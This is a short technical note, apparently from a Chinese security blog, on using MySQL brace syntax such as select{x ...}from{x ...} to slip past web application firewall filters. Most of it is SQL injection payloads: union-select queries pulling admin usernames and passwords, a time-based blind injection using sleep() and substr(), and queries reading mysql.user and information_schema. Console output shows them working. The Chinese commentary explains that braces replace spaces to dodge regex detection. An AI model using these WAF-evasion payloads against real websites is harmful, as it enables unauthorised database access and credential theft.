mysql syntax bypass some WAF

      
  1. select { x table_name } from { x information_schema . tables }
  2. (select(select{x pwd}from{x %23@__admin}+limit+1))
  3. select{x user}from{1d admin}
  4. union select (select{x user}from{1d admin}+limit+1),1
  5. 1' and if(ascii(substr((select{1d user()}),1,1))>11,sleep(1),1)


        
  1. select { x user } from { x mysql . user };


        
  1. select { x user } from { x mysql . user } limit 1 ;


mysql> select{x version()}from{x user};
+---------------+
| {x version()} |
+---------------+
| 5.5.20-log    |
| 5.5.20-log    |
| 5.5.20-log    |
| 5.5.20-log    |
+---------------+
4 rows in set (0.00 sec)


select{x a}from{x b}  . b为当前数据库存在的任意表名,a就是你要返回的内容。我所能想到的场景就是获取user() ,version()之类的 {}代替空格绕过正则的检测,直接 select{x (user())}或者 select(user())
要获取其它信息的话,像这样。
mysql> select{x (select user from user limit 1)} from{x user};
+-------------------------------------+
| {x (select user from user limit 1)} |
+-------------------------------------+
| root                                |
| root                                |
| root                                |
| root                                |
+-------------------------------------+


去掉空格:
          
mysql > select { x ( name )} from { x ( test )};

          
select { x + table_name } from { x ( information_schema . tables )}